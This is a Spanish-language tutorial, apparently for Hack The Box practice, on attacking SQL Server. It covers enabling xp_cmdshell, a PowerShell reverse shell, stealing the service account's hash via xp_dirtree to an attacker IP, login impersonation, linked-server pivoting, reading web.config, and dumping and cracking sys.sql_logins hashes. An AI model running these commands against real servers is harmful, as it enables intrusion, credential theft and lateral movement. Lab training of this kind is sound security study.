Pentesting de MSSQL: xp_cmdshell, suplantación, servidores enlazados y robo de hashes

Atacar SQL Server en un dominio: conectarse con mssqlclient, ejecutar comandos con xp_cmdshell, escalar con EXECUTE AS, servidores enlazados y robo de hashes.

· 4 min de lectura

SQL Server (puerto 1433) aparece una y otra vez en las máquinas de Active Directory del catálogo: Querier, Escape, Manager, StreamIO, EscapeTwo... Un usuario con acceso a la base de datos puede acabar ejecutando comandos en el servidor, robando el hash de su cuenta de servicio o saltando a otro servidor. Es la técnica de abuso de MSSQL.

1. Conectarse

# Cuenta de SQL (usuario propio de la base de datos)
impacket-mssqlclient sa:'Contraseña1'@10.10.10.10
# Cuenta de Windows / del dominio
impacket-mssqlclient corp.local/usuario:'Contraseña1'@10.10.10.10 -windows-auth
# Con NetExec: prueba credenciales y lanza consultas
nxc mssql 10.10.10.10 -u usuario -p 'Contraseña1'
nxc mssql 10.10.10.10 -u sa -p 'Contraseña1' --local-auth -q 'SELECT @@version'

Las credenciales suelen salir de un fichero de configuración en un recurso compartido (connectionString, .config, .ini) o de un documento, como en Querier (una macro de Excel) o en EscapeTwo (otra hoja de cálculo).

2. Reconocer el terreno

Dentro de mssqlclient, los comandos que empiezan por enum_ lo hacen por ti:

SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
enum_logins
enum_impersonate
enum_links

Lo importante es si eres sysadmin (puedes hacer casi todo), a quién puedes suplantar y qué servidores enlazados hay.

3. Ejecutar comandos con xp_cmdshell

Si eres sysadmin:

enable_xp_cmdshell
xp_cmdshell whoami
-- o a mano
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';

Los comandos corren como la cuenta de servicio de SQL Server (NT SERVICE\MSSQLSERVER o una cuenta del dominio). Casi siempre tiene SeImpersonatePrivilege: de ahí a SYSTEM hay un paso con la guía de SeImpersonate y Potatoes.

Para conseguir una shell, descarga y lanza nc.exe o una reverse shell de PowerShell en base64 (el generador de PowerShell te la da hecha):

EXEC xp_cmdshell 'powershell -enc JABjAGwAaQBlAG4AdAAgAD0A...';

4. Robar el hash de la cuenta de servicio

Aunque no seas sysadmin, casi cualquier usuario puede pedir a SQL Server que liste una carpeta... de tu equipo. Al conectarse, se autentica con la cuenta de servicio:

sudo responder -I tun0          # o: impacket-smbserver -smb2support x .
EXEC master..xp_dirtree '\\10.10.14.5\x';
-- alternativa
EXEC master..xp_fileexist '\\10.10.14.5\x\y';

Crackea el NetNTLMv2 con hashcat -m 5600 (cracking de hashes) o, si hay dónde, retransmítelo (NTLM relay). Así empiezan Querier y Escape.

5. Suplantar a otro login

EXECUTE AS permite actuar como otro login si te lo han concedido (IMPERSONATE). Si ese otro es sa o sysadmin, ya lo eres tú:

enum_impersonate
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
-- en una base de datos con TRUSTWORTHY activado, también como usuario dbo
USE basededatos; EXECUTE AS USER = 'dbo';

En mssqlclient existe el atajo exec_as_login sa.

6. Servidores enlazados

Un linked server es otro SQL Server (o la misma instancia con otras credenciales) al que este puede lanzar consultas. A menudo el enlace usa una cuenta con más privilegios que la tuya:

enum_links
EXEC ('SELECT SYSTEM_USER') AT [SQL02];
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [SQL02];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [SQL02];

En mssqlclient: use_link SQL02 y luego los comandos normales. Fíjate en que las comillas se duplican en cada nivel de anidamiento.

7. Leer ficheros y secretos

-- Leer un fichero (necesita permisos de BULK)
SELECT * FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS x;
-- Hashes de los logins de SQL (si eres sysadmin)
SELECT name, password_hash FROM sys.sql_logins;

Los hashes de sys.sql_logins se crackean con hashcat -m 1731 (SQL Server 2012 o posterior). Y las tablas de la aplicación suelen tener usuarios y contraseñas que se reutilizan en el dominio, como en StreamIO.

Errores típicos

  • Login failed for user con una cuenta del dominio: te falta -windows-auth.
  • xp_cmdshell dice que no tienes permiso: no eres sysadmin. Revisa enum_impersonate y enum_links antes de rendirte, y usa xp_dirtree para el hash.
  • xp_dirtree no manda nada: el servidor no puede salir por el 445 hacia ti. Prueba con una ruta WebDAV (\\10.10.14.5@80\x) y un servidor HTTP que capture NTLM.

Y después

Con el hash de la cuenta de servicio crackeado, esa cuenta puede tener un SPN: es el punto de partida de un silver ticket (movimiento lateral) y de la enumeración del dominio con BloodHound (enumeración de AD).

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Abuso de MSSQL 17 máquinas

Ver las 17 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo